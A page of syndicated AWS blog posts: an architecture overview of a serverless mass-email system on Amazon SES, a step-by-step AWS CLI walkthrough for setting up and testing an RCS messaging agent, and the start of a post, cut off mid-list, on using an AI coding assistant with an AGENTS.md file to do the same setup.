Tag Archives: AWS

How to build a serverless mass email solution with Amazon SES

Post Syndicated from Brad Watson original https://aws.amazon.com/blogs/messaging-and-targeting/how-to-build-a-serverless-mass-email-solution-with-amazon-ses/

Sending mass email campaigns presents significant challenges for many organizations. Enterprises often spend millions annually on proprietary email systems that are inflexible and expensive to maintain. These legacy platforms can restrict sending capacity, offer limited control, and require costly licensing agreements. The challenges intensify when handling large-scale communications like automated notifications, bulk marketing campaigns, and system-generated alerts. These scenarios create reliability issues, scaling limitations, and rising costs that impact teams’ ability to communicate effectively with customers.

Recently, a large federal organization faced similar challenges, spending over a million dollars annually on their email campaigns. By building a custom email solution on AWS, they sent a 2 million email campaign for approximately $300. This cost includes Amazon Simple Email Service (Amazon SES) and other AWS services. This transformation cut costs while providing the scalability and flexibility they needed for their growing campaign needs.

This transformation succeeded because building a cloud-native serverless mass email solution offers several advantages:

  • Cost optimization.
    • Pay only for email sent and actual compute resources used.
    • Remove costs associated with managing email servers.
    • Remove expensive licensing fees and maintenance overhead.
  • Scalability and reliability.
    • Automatically handle varying email volumes without infrastructure changes.
    • Support reliable delivery through built-in retry mechanisms and error handling.
    • Perform consistently during peak sending periods.
  • Security and compliance.
    • Secure access control through AWS Identity and Access Management (IAM) roles with least-privilege principles.
    • Comprehensive audit trails for all email campaigns with detailed logging to support your reporting requirements.
    • Detailed logging that customers can use for their compliance and reporting requirements.
    • Data encryption in transit and at rest that you can configure.

In this post, we explore the architecture of a cloud-native serverless mass email solution that integrates Amazon SES with AWS Step Functions, Amazon API Gateway, and Amazon DynamoDB. You will learn how these services work together to process email campaigns at scale while minimizing cost. Let’s get started!

Solution overview

The serverless mass email solution consists of two main components: a user-friendly frontend interface and a scalable serverless backend. The frontend operates completely independently from the backend processing system, communicating through RESTful APIs from Amazon API Gateway. With this architecture, you can use the provided frontend interface as-is. Alternatively, you can integrate your own custom UI or existing applications while using the same backend email processing infrastructure.

The following diagram shows the complete architecture of the serverless mass email solution, including how the frontend and backend components connect through API Gateway to process email campaigns.

Complete serverless mass email architecture, with the frontend and backend connected through Amazon API Gateway

Figure 1: Complete architecture

Frontend architecture and user flow

The frontend of the solution prioritizes usability while providing email campaign capabilities. Here’s how the components work together:

Frontend architecture: web interface, Amazon Cognito authentication, and requests through API Gateway to AWS Lambda

Figure 2: Frontend architecture of the SES email application

  1. Login – Users navigate to the web interface URL (hosted on Amazon Simple Storage Service (Amazon S3)) which prompts them to authenticate.
  2. User authenticationAmazon Cognito handles authentication, providing secure user management and restricting access to authorized users.
  3. User interface – After successful authentication, users are redirected to a graphical user interface (GUI) where they can design and save email templates and launch large-scale campaigns (refer to figures 3 and 4).
    1. Templates.
      1. Amazon SES supports two types of templates: stored and inline. Stored templates live in SES, and you can reuse them across campaigns. With inline templates, you define the content and variables directly in the email sending request. Both approaches support dynamic personalization by replacing variables with recipient-specific data when the email is sent. For example, you can create a template that personalizes each email with the recipient’s name, custom offers, or any other dynamic content. For detailed information about template capabilities and personalization options, refer to the Amazon SES template documentation.

The following screenshots show the campaign interface, the template creation interface, and the campaign monitoring interface.

Email template creation interface of the mass email application

Figure 3: Email template creation interface

Mass email campaign interface of the application

Figure 4: Mass email campaign interface

Campaign monitoring interface showing the delivery status of a mass email campaign

Figure 5: Campaign monitoring interface

  1. Request processing – Each user action triggers a secure request through Amazon API Gateway to AWS Lambda functions, which then coordinate with our backend processing system.

From the user’s perspective, the experience is similar to using any standard email platform, with the added capability of handling campaigns at scale. This interface helps marketing teams, customer success managers, and business operations staff create and launch email campaigns directly through their browser, without needing to understand complex email protocols.

Backend architecture

After a user initiates an email campaign, our backend orchestrates a series of steps to facilitate reliable, large-scale email delivery. Let’s follow how an email campaign flows through the system:

Backend architecture: Step Functions orchestrates batching, Lambda sends email through Amazon SES, and DynamoDB logs delivery attempts

Figure 6: Backend architecture of the SES email application

As shown in the preceding figure, the backend processes email campaigns through the following steps:

  1. Email campaign processor – When a user creates a new campaign through the GUI, a Lambda function processes the initial request, taking the user’s selected email template and campaign parameters. The function then triggers an AWS Step Functions workflow.
  2. Workflow orchestration – The Step Functions workflow acts as the conductor and coordinates the entire email sending process. It initializes the campaign, sets up necessary configurations, and organizes the campaign into manageable batches.
  3. Recipient processing – Before sending email, the Step Functions workflow retrieves recipient information, including the recipient’s name and email address, from DynamoDB and checks it for accurate delivery details.
  4. Batch email processing – The Step Functions workflow begins organizing the email into manageable batches. The workflow queues these batches in Amazon Simple Queue Service (Amazon SQS), preparing them for processing.
  5. Batch monitoring – As batches move through the system, Step Functions actively monitors their progress, tracking the status of each batch throughout the sending process.
  6. Email sending – When SQS receives a message, it invokes a Lambda function that sends the email to Amazon SES for delivery. The function logs each delivery attempt in DynamoDB, with failed deliveries automatically returning to the SQS queue for retry attempts. It also records successful deliveries to support idempotency and prevent duplicate sends.
  7. Record management – DynamoDB stores an audit trail that tracks both successful and failed delivery attempts, providing detailed logs to support reporting, campaign performance assessments, and compliance efforts.

Using these AWS services, the solution automatically scales from sending a few email to millions without manual intervention or infrastructure provisioning. You pay only for what you use, with no idle server costs. To demonstrate the cost-effectiveness of this architecture: sending 10,000 email costs approximately USD $4, including all AWS service charges. For current pricing details, refer to Amazon SES pricing.

To deploy this solution in your AWS account, refer to the source code on GitHub.

Conclusion

In this post, we explored the architecture of a scalable email sending solution using Amazon SES and other AWS serverless services. This architecture removes the complexity of traditional email infrastructure while providing capabilities for handling large-scale email campaigns. Whether you’re looking to modernize your existing email infrastructure or stand up a new solution, this serverless approach offers the ideal combination of streamlined design, scalability, and cost-effectiveness.

Additional resources


About the authors

Creating and testing an End User Messaging RCS agent with AWS CLI

Post Syndicated from Bruno Giorgini original https://aws.amazon.com/blogs/messaging-and-targeting/creating-and-testing-an-end-user-messaging-rcs-agent-with-aws-cli/

A step-by-step walkthrough for setting up a Rich Communication Services (RCS) test agent, from brand assets to verified inbound messaging.

If you’re still sending plain SMS, you’re leaving a significant experience gap on the table. SMS gives you 160 characters of unformatted text, no branding, and zero confirmation that your message was even read. Rich Communication Services (RCS) changes that entirely. It delivers branded carousels, read receipts, typing indicators, high-resolution images, and verified sender identity, all through the native messaging app your customers already use. No app download required, no new account to create.

Compared to over-the-top (OTT) platforms like WhatsApp or iMessage for Business, RCS doesn’t fragment your audience. It works on an Android’s default messaging app with RCS enabled or an iPhone on iOS 18 or later, which means you reach users where they already are. You are not limited to the ones who happen to have a specific app installed. And compared to building a custom in-app messaging experience, RCS requires no SDK, no UI work, and no convincing users to enable notifications.

With AWS End User Messaging, standing up an RCS agent is surprisingly fast. You configure your brand assets, submit a registration, and within minutes you have a test agent sending branded messages through production APIs. This is real infrastructure, not a sandbox. That means you can prototype, validate your integration, and show stakeholders a working demo before committing to a full build.

This post walks through the entire process of creating an RCS test agent using only the AWS Command Line Interface (AWS CLI). Using the CLI means every step is a repeatable, scriptable command. Need to spin up another agent in a different account or Region? Run the same script and you’re done in minutes. By the end, you will have a working agent that can send branded messages to verified testers and receive inbound messages with automatic responses.

What you will build

In this walkthrough, you will:

  1. Create an RCS agent and configure its brand identity (logo, banner, accent color).
  2. Submit a test registration for automated approval.
  3. Add a verified tester device.
  4. Send your first branded RCS message.
  5. Configure and verify inbound messaging with an automatic keyword response.

Prerequisites

Before you begin, confirm you have:

  • An AWS account with access to AWS End User Messaging (Amazon Pinpoint SMS and Voice v2 API)
  • AWS CLI v2.35.12 or later installed and configured with credentials that have pinpoint-sms-voice-v2:* permissions. Version 2.35.12 adds the send-rcs-message command, which you will need for rich media messages (rich cards, carousels, and suggestion chips) beyond this walkthrough. For production deployments, scope the IAM policy down to only the specific actions your application requires. The pinpoint-sms-voice-v2:* scope is convenient for testing but broader than necessary.
  • rsvg-convert for generating brand asset images from SVG (install with brew install librsvg on macOS)
  • A test phone that supports RCS messaging.

Verify your setup:

# Confirm AWS credentials are working
aws sts get-caller-identity
# Verify EUM access
aws pinpoint-sms-voice-v2 describe-spend-limits --region us-east-1
# Confirm rsvg-convert is installed
which rsvg-convert

If you use a named AWS CLI profile, append --profile <your-profile> to every AWS command in this walkthrough.

Step 1: Create the RCS agent

The first step is to create an empty RCS agent container. The agent’s display name and branding come from the registration you will configure in Step 2.

aws pinpoint-sms-voice-v2 create-rcs-agent \
  --region us-east-1

Expected output:

{
  "RcsAgentArn": "arn:aws:sms-voice:us-east-1:123456789012:rcs-agent/rcs-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4",
  "RcsAgentId": "rcs-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4",
  "Status": "CREATED",
  "DeletionProtectionEnabled": false,
  "CreatedTimestamp": "2026-07-15T10:00:01.000000-07:00"
}

Save the RcsAgentId and RcsAgentArn values. You will use them throughout this walkthrough.

Next, enable deletion protection to prevent accidental removal. This is especially important once carrier approvals are in place, since re-creating an agent requires a new registration and approval cycle:

aws pinpoint-sms-voice-v2 update-rcs-agent \
  --rcs-agent-id rcs-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
  --deletion-protection-enabled \
  --region us-east-1

Step 2: Generate brand assets

Your RCS agent needs a logo (224×224 px, must be under 50 KB as PNG) and a banner (1440×448 px, must be under 200 KB as PNG). Both must be JPEG or PNG format. You can use your own designs as long as they meet these dimension and size requirements. In this example, we generate them as SVGs and convert to PNG.

Create the logo SVG

Create a file named brand-assets/logo.svg:

<svg xmlns="http://www.w3.org/2000/svg" width="224" height="224" viewBox="0 0 224 224"><defs><linearGradient id="bg" x1="0%" y1="0%" x2="100%" y2="100%"><stop offset="0%" style="stop-color:#0D47A1"/><stop offset="100%" style="stop-color:#1565C0"/></linearGradient></defs><rect width="224" height="224" rx="40" fill="url(#bg)"/><g transform="translate(112,90)"><path d="M-48,-36 L48,-36 C54,-36 58,-32 58,-26 L58,16 C58,22 54,26 48,26             L10,26 L0,42 L-10,26 L-48,26 C-54,26 -58,22 -58,16 L-58,-26             C-58,-32 -54,-36 -48,-36 Z" fill="white" opacity="0.95"/><path d="M-20,-12 C-14,-20 14,-20 20,-12" stroke="#0D47A1" stroke-width="4" fill="none" stroke-linecap="round"/><path d="M-14,-2 C-9,-8 9,-8 14,-2" stroke="#0D47A1" stroke-width="4" fill="none" stroke-linecap="round"/><circle cx="0" cy="6" r="4" fill="#0D47A1"/></g><text x="112" y="168" text-anchor="middle" font-family="Arial, Helvetica, sans-serif" font-size="16" font-weight="bold" fill="white">AWS EUM</text><text x="112" y="188" text-anchor="middle" font-family="Arial, Helvetica, sans-serif" font-size="12" fill="white" opacity="0.85">DEMO</text></svg>

Create the banner SVG

Create a file named brand-assets/banner.svg:

<svg xmlns="http://www.w3.org/2000/svg" width="1440" height="448" viewBox="0 0 1440 448"><defs><linearGradient id="bannerBg" x1="0%" y1="0%" x2="100%" y2="100%"><stop offset="0%" style="stop-color:#0D47A1"/><stop offset="50%" style="stop-color:#1565C0"/><stop offset="100%" style="stop-color:#0D47A1"/></linearGradient></defs><rect width="1440" height="448" fill="url(#bannerBg)"/><circle cx="200" cy="224" r="300" fill="white" opacity="0.03"/><circle cx="1300" cy="100" r="250" fill="white" opacity="0.04"/><text x="720" y="190" text-anchor="middle" font-family="Arial, Helvetica, sans-serif" font-size="56" font-weight="bold" fill="white">    AWS End User Messaging  </text><text x="720" y="250" text-anchor="middle" font-family="Arial, Helvetica, sans-serif" font-size="48" font-weight="bold" fill="white" opacity="0.9">    Demo  </text><text x="720" y="320" text-anchor="middle" font-family="Arial, Helvetica, sans-serif" font-size="24" fill="white" opacity="0.7">    Rich messaging experiences, powered by AWS  </text></svg>

Convert to PNG

rsvg-convert -w 224 -h 224 brand-assets/logo.svg -o brand-assets/logo.png
rsvg-convert -w 1440 -h 448 brand-assets/banner.svg -o brand-assets/banner.png

Verify the file sizes. The logo must be under 50 KB and the banner under 200 KB:

ls -la brand-assets/*.png
# logo.png   ~9 KB
# banner.png ~79 KB

Step 3: Create and configure the registration

RCS agents require a registration that contains all brand details. For testing, use the TEST_RCS_LAUNCH_REGISTRATION type.

Create the registration

aws pinpoint-sms-voice-v2 create-registration \
  --registration-type TEST_RCS_LAUNCH_REGISTRATION \
  --region us-east-1

Expected output:

{
  "RegistrationId": "registration-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4",
  "RegistrationType": "TEST_RCS_LAUNCH_REGISTRATION",
  "RegistrationStatus": "CREATED",
  "CurrentVersionNumber": 1
}

Save the RegistrationId.

aws pinpoint-sms-voice-v2 create-registration-association \
  --registration-id registration-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
  --resource-id rcs-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
  --region us-east-1

Upload brand assets

Upload the logo and banner as registration attachments. Note that --attachment-body and --attachment-url cannot be used together. Use --attachment-body with the fileb:// prefix:

# Upload logo
aws pinpoint-sms-voice-v2 create-registration-attachment \
  --attachment-body fileb://brand-assets/logo.png \
  --region us-east-1
# Save: RegistrationAttachmentId (e.g., attachment-1111aaaa2222bbbb3333cccc4444dddd)
# Upload banner
aws pinpoint-sms-voice-v2 create-registration-attachment \
  --attachment-body fileb://brand-assets/banner.png \
  --region us-east-1
# Save: RegistrationAttachmentId (e.g., attachment-5555eeee6666ffff7777aaaa8888bbbb)

Set registration fields

The registration has 23 fields. Each field has a specific type that determines which CLI parameter to use:

Field type CLI parameter Example
TEXT --text-value --text-value "My Brand"
SELECT --select-choices --select-choices "MULTI_USE"
ATTACHMENT --registration-attachment-id --registration-attachment-id "attachment-abc123"

Do not use --field-values. That parameter does not exist in this CLI.

Set all the TEXT fields:

REG_ID="registration-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4"
REGION="us-east-1"

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.brandName" \
  --text-value "AWS End User Messaging Demo" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.senderDisplayName" \
  --text-value "AWS End User Messaging Demo" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.agentDescription" \
  --text-value "Experience the power of rich messaging with AWS End User Messaging" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.accentColor" \
  --text-value "#0D47A1" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.contactPhoneNumber" \
  --text-value "+12065550100" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.contactPhoneLabel" \
  --text-value "Call Us" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.contactEmailAddress" \
  --text-value "[email protected]" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.contactEmailLabel" \
  --text-value "Email Us" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.contactWebsite" \
  --text-value "https://www.example.com" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.contactWebsiteLabel" \
  --text-value "Visit Website" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.privacyPolicyUrl" \
  --text-value "https://www.example.com/privacy" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.privacyPolicyLabel" \
  --text-value "Privacy Policy" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.termsAndConditionsUrl" \
  --text-value "https://www.example.com/terms" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.termsAndConditionsLabel" \
  --text-value "Terms and Conditions" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.serviceName" \
  --text-value "AWS End User Messaging Demo RCS Agent" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.monthlyRcsVolume" \
  --text-value "1000" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "complianceKeywords.helpResponse" \
  --text-value "Reply STOP to opt out. For help, contact [email protected]" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "complianceKeywords.stopResponse" \
  --text-value "You have been unsubscribed. No more messages will be sent." \
  --region $REGION

Set the SELECT fields. These use --select-choices instead of --text-value:

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.useCase" \
  --select-choices "MULTI_USE" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.billingCategory" \
  --select-choices "CONVERSATIONAL" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.averageMonthlyRcsFrequency" \
  --select-choices "10" \
  --region $REGION

Set the ATTACHMENT fields. These use --registration-attachment-id:

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.logoImage" \
  --registration-attachment-id "attachment-1111aaaa2222bbbb3333cccc4444dddd" \
  --region $REGION

aws pinpoint-sms-voice-v2 put-registration-field-value \
  --registration-id $REG_ID \
  --field-path "agentDetails.bannerImage" \
  --registration-attachment-id "attachment-5555eeee6666ffff7777aaaa8888bbbb" \
  --region $REGION

A note on accent color

The accent color must meet a 4.5:1 contrast ratio against white. This is the WCAG AA accessibility standard, enforced to make sure the text is readable for users with visual impairments. Colors with an HSL lightness value above ~45% will typically fail this threshold and be rejected with ACCENT_COLOR_CONTRAST_INSUFFICIENT. Safe choices include #0D47A1 (blue), #1B5E20 (green), #BF360C (orange), #B71C1C (red), and #4A148C (purple). If you are using a custom brand color, verify it passes before submitting using the WebAIM Contrast Checker.

Submit the registration

aws pinpoint-sms-voice-v2 submit-registration-version \
  --registration-id $REG_ID \
  --region $REGION

Expected output:

{
  "RegistrationId": "registration-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4",
  "VersionNumber": 1,
  "RegistrationVersionStatus": "SUBMITTED"
}

Step 4: Wait for approval

Poll the registration and agent status. Test registrations typically complete within a few minutes.

# Check registration status
aws pinpoint-sms-voice-v2 describe-registrations \
  --registration-ids $REG_ID \
  --query 'Registrations[0].{Status:RegistrationStatus,Version:CurrentVersionNumber}' \
  --region $REGION

# Check agent status
aws pinpoint-sms-voice-v2 describe-rcs-agents \
  --query "RcsAgents[?RcsAgentId=='rcs-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4'].{Status:Status,TestingStatus:TestingAgent.Status}" \
  --region $REGION

You will see the status progress through these stages:

Registration status Agent status Testing status Meaning
SUBMITTED PENDING PENDING Under review
REVIEWING PENDING PENDING Automated checks in progress
COMPLETE TESTING ACTIVE Ready to use

Wait until TestingAgent.Status shows ACTIVE before proceeding.

NOTE: If the registration returns REQUIRES_UPDATES, run describe-registration-field-values to find fields with a DeniedReason. Create a new registration version with create-registration-version, re-populate all 23 fields (new versions do not inherit values), fix the issue, and re-submit.

Step 5: Add a verified tester

Wait at least 120 seconds after agent creation before adding testers. Then register your test device:

aws pinpoint-sms-voice-v2 create-verified-destination-number \
  --destination-phone-number +12065550199 \
  --rcs-agent-id rcs-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
  --region $REGION

You will receive a tester invitation on your phone within 2 to 20 minutes from “RBM Tester Management.” On iPhone, check the Unknown Senders folder. Tap “Make me a tester” to accept.

After accepting, verify the status:

aws pinpoint-sms-voice-v2 describe-verified-destination-numbers \
  --filters Name=rcs-agent-id,Values=rcs-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
  --region $REGION \
  --query 'VerifiedDestinationNumbers[].{Phone:DestinationPhoneNumber,Status:Status}'

Expected output once accepted:

[
  {
    "Phone": "+12065550199",
    "Status": "VERIFIED"
  }
]

Step 6: Send your first RCS message

Before sending, check for potential blockers.

Check the protect configuration

Verify that the US is not blocked in your account’s default protect configuration:

# List protect configurations
aws pinpoint-sms-voice-v2 describe-protect-configurations --region $REGION

# Check US status on the default (account-default) protect configuration
aws pinpoint-sms-voice-v2 get-protect-configuration-country-rule-set \
  --protect-configuration-id <your-protect-config-id> \
  --number-capability SMS \
  --query 'CountryRuleSet.US' \
  --region $REGION

If the US status is BLOCK, update it to ALLOW:

aws pinpoint-sms-voice-v2 update-protect-configuration-country-rule-set \
  --protect-configuration-id <your-protect-config-id> \
  --country-rule-set-updates '{"US":{"ProtectStatus":"ALLOW"}}' \
  --number-capability SMS \
  --region $REGION

Check the opt-out list

aws pinpoint-sms-voice-v2 describe-opted-out-numbers \
  --opt-out-list-name Default \
  --region $REGION

If your test number appears in the list, remove it:

aws pinpoint-sms-voice-v2 delete-opted-out-number \
  --opt-out-list-name Default \
  --opted-out-number +12065550199 \
  --region $REGION

Now, send the test message:

aws pinpoint-sms-voice-v2 send-text-message \
  --destination-phone-number +12065550199 \
  --origination-identity rcs-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
  --message-body "Hello from AWS End User Messaging Demo! This is your first RCS test message." \
  --message-type TRANSACTIONAL \
  --region $REGION

Expected output:

{"MessageId": "a1b2c3d4-e5f6-7890-abcd-ef1234567890"}

Check your phone. You should see a branded message from your agent with the logo and accent color you configured. On iPhone, check the Unknown Senders folder.

Step 7: Configure and test inbound messaging

With inbound messaging, your agent can respond to messages that testers send back. Configure an automatic keyword response, then verify it end to end.

Set up an automatic keyword response

The put-keyword API configures an automatic reply when someone sends a specific keyword to your agent. With it, you can verify inbound messaging without writing any backend code:

aws pinpoint-sms-voice-v2 put-keyword \
  --keyword RCSINBOUNDTESTING \
  --keyword-action AUTOMATIC_RESPONSE \
  --keyword-message "Inbound test successful! Your message was received." \
  --origination-identity rcs-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
  --region $REGION

Test inbound messaging

While the previous steps used the CLI exclusively, the inbound testing deep link is most easily accessed through the console. Navigate to your agent and use the Testing tab to generate the deep link:

  1. Open the AWS End User Messaging console: https://console.aws.amazon.com/sms-voice/home?region=[REGION]#/rcs-agents.
  2. Select your agent and choose the Testing tab.
  3. Choose Inbound deep link.
  4. Enter RCSINBOUNDTESTING in the message body field.
  5. Choose Generate link.
  6. Scan the QR code with your test phone. The message is pre-filled.
  7. Send the message.

You should receive the automatic response: “Inbound test successful! Your message was received.”

Clean up

To avoid unexpected charges, remove the resources created during this walkthrough when you are finished testing. You must delete resources in the following order. Attempting to delete the agent before its registration results in a ConflictException: RESOURCE_NOT_EMPTY error.

# 1. Remove the keyword
aws pinpoint-sms-voice-v2 delete-keyword \
  --keyword RCSINBOUNDTESTING \
  --origination-identity rcs-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
  --region $REGION

# 2. Remove verified tester
aws pinpoint-sms-voice-v2 delete-verified-destination-number \
  --verified-destination-number-id <your-verified-number-id> \
  --region $REGION

# 3. Disable deletion protection
aws pinpoint-sms-voice-v2 update-rcs-agent \
  --rcs-agent-id rcs-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
  --no-deletion-protection-enabled \
  --region $REGION

# 4. Delete the registration
aws pinpoint-sms-voice-v2 delete-registration \
  --registration-id registration-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
  --region $REGION

# 5. Delete the agent
aws pinpoint-sms-voice-v2 delete-rcs-agent \
  --rcs-agent-id rcs-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
  --region $REGION

If you modified the protect configuration (changed US from BLOCK to ALLOW), revert it to its original state if your account does not need US messaging enabled.

Summary

You now have a working RCS test agent that can send and receive branded messages. Here is a recap of the resources created:

Resource Value
Agent ID rcs-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4
Registration ID registration-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4
Region us-east-1
Console https://us-east-1.console.aws.amazon.com/sms-voice/home?region=us-east-1#/rcs-agents

Registration field reference

For reference, here is the complete list of registration fields and their types:

Field Type Requirement
agentDetails.brandName TEXT Required
agentDetails.serviceName TEXT Required
agentDetails.senderDisplayName TEXT Required
agentDetails.useCase SELECT Required
agentDetails.agentDescription TEXT Required
agentDetails.bannerImage ATTACHMENT Required
agentDetails.logoImage ATTACHMENT Required
agentDetails.accentColor TEXT Required
agentDetails.contactPhoneNumber TEXT Conditional
agentDetails.contactPhoneLabel TEXT Conditional
agentDetails.contactEmailAddress TEXT Conditional
agentDetails.contactEmailLabel TEXT Conditional
agentDetails.contactWebsite TEXT Conditional
agentDetails.contactWebsiteLabel TEXT Conditional
agentDetails.privacyPolicyUrl TEXT Required
agentDetails.privacyPolicyLabel TEXT Optional
agentDetails.termsAndConditionsUrl TEXT Required
agentDetails.termsAndConditionsLabel TEXT Optional
agentDetails.averageMonthlyRcsFrequency SELECT Required
agentDetails.billingCategory SELECT Required
agentDetails.monthlyRcsVolume TEXT Required
complianceKeywords.helpResponse TEXT Conditional
complianceKeywords.stopResponse TEXT Conditional

Troubleshooting

Error Resolution
ACCENT_COLOR_CONTRAST_INSUFFICIENT Use a darker accent color with 4.5:1 contrast ratio against white. Create a new registration version and re-populate all fields.
DESTINATION_COUNTRY_BLOCKED_BY_PROTECT_CONFIGURATION Update the protect configuration to set the US to ALLOW for SMS capability.
DESTINATION_PHONE_NUMBER_OPTED_OUT Remove the number from the Default opt-out list with delete-opted-out-number.
Registration REQUIRES_UPDATES Run describe-registration-field-values to find fields with DeniedReason. Create a new version, re-populate all 23 fields, fix the issue, and re-submit.
No tester invitation received Wait up to 20 minutes. Check the Unknown Senders folder on iPhone. Verify the agent status is ACTIVE.
Message delivered as SMS instead of RCS Confirm the agent is ACTIVE, the device supports RCS, and you used the correct origination identity.

Next steps

With your test agent running, you can explore richer message types such as cards and carousels, set up event destinations for programmatic inbound message handling, or add more verified testers. For production use, submit a full launch registration instead of a test registration.

For an overview of the business case for RCS and implementation strategy, see Upgrade business messaging with RCS on AWS. For sample code and scripts that automate this walkthrough, see the sample-rcs-agent-setup-and-send-messages repository on GitHub. For more information, see the AWS End User Messaging service page and the RCS documentation.


About the authors

Setting up an RCS agent with an AI coding assistant and AWS End User Messaging

Post Syndicated from Bruno Giorgini original https://aws.amazon.com/blogs/messaging-and-targeting/setting-up-an-rcs-agent-with-an-ai-coding-assistant-and-aws-end-user-messaging/

Clone a repo, open it in your AI coding assistant, type “go,” and walk away with a working RCS agent.

Creating an RCS agent on AWS End User Messaging normally means juggling 23 registration fields, three different CLI parameter types, brand asset requirements, and a multi-step approval process. An AI coding assistant can handle all of that for you. With AWS End User Messaging, you can create RCS agents that send and receive rich messages complete with your brand’s logo, colors, and verified identity.

Setting up an RCS agent involves creating an agent container, uploading brand assets, configuring a 23-field registration, submitting for approval, adding verified testers, and testing both outbound and inbound messaging. Each field has a specific type (TEXT, SELECT, or ATTACHMENT) that requires a different CLI parameter, and getting any of them wrong means starting over.

We built an open-source sample repository that encodes all of this knowledge into an AGENTS.md file. When you open the repo in an AI coding assistant like Kiro, Cursor, or Windsurf, the assistant reads the instructions and walks you through the entire setup interactively. You provide a brand name and your phone number. The AI handles everything else.

How it works

The repository aws-samples/sample-rcs-agent-setup-and-send-messages contains:

  • AGENTS.md — A structured instruction file that AI coding assistants read automatically. It contains the complete RCS agent setup workflow: credential checks, brand asset generation, registration field configuration, tester management, and message testing.
  • brand-assets/ — Template SVG files for the agent logo (224×224 px) and banner (1440×448 px), ready to be customized and converted to PNG.
  • .kiro/steering/rcs-agent-setup.md — A Kiro-specific steering file with the same instructions, using the inclusion: always frontmatter so Kiro loads it automatically.

The AGENTS.md file is the key. It defines six skills that the AI assistant executes in sequence:

  1. Create RCS agent — Creates the agent container, generates brand assets (logo and banner SVGs), converts them to PNG, creates a test registration, sets all 23 fields with the correct parameter types, and submits for approval.
  2. Add verified testers — Registers test phone numbers and guides you through accepting the tester invitation.
  3. Send a test message — Checks for blockers (protect configuration, opt-out lists) and sends your first branded RCS message.
  4. Set up inbound keyword — Configures an automatic response keyword so you can test inbound messaging without writing backend code.
  5. Verify inbound messaging — Walks you through the console deep link flow to confirm two-way messaging works.
  6. Delete an RCS agent — Removes an agent cleanly by disabling deletion protection, deleting the associated registration, then deleting the agent itself.

Prerequisites

Before you start, you need:

  • An AWS account with access to AWS End User Messaging.
  • AWS Command Line Interface (AWS CLI) v2.35.12 or later installed and configured with credentials that have pinpoint-sms-voice-v2:* permissions.
  • An AI coding assistant that reads AGENTS.md files (Kiro, Cursor, Windsurf, or similar).
  • librsvg for SVG to PNG conversion (brew install librsvg on macOS).
  • A test phone that supports RCS messaging.

Getting started

Follow these steps to go from zero to a working RCS agent. The entire process takes about five minutes.

Step 1: Clone the repository

git clone https://github.com/aws-samples/sample-rcs-agent-setup-and-send-messages.git
cd sample-rcs-agent-setup-and-send-messages

Step 2: Open in your AI coding assistant

Open the cloned directory in your preferred AI coding assistant. The assistant will automatically detect the AGENTS.md file (or .kiro/steering/rcs-agent-setup.md if you are using Kiro).

Step 3: Type “go”

In the chat panel, type go. The AI assistant will:

